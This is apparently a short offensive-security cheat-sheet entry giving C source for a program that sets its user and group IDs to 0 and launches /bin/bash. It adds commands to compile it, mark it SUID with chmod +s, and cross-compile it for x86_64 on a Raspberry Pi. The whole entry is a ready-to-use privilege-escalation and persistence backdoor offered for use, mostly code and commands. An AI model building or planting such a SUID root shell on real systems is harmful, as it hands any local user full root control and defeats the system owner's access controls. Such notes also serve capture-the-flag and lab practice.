General
C code that spawns a root shell
To be ran as sudo or with SUID bit
shell.c
#include <stdlib.h>
#include <unistd.h>
int main(){
setgid(0); // set gid=0
setuid(0); // set uid=0
system("/bin/bash"); // spawns a shell as root
return 0;
}Compile with gcc, and relevant flags:
$ gcc shell.c -o shell
$ chmod +s shellCross-compiling for x86_64 on an aarch64 machine (Raspberry PI)
$ sudo apt install gcc-x86-64-linux-gnu
$ x86_64-linux-gnu-gcc shell.c -o shell -static
$ file shell
shell: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked ...Last updated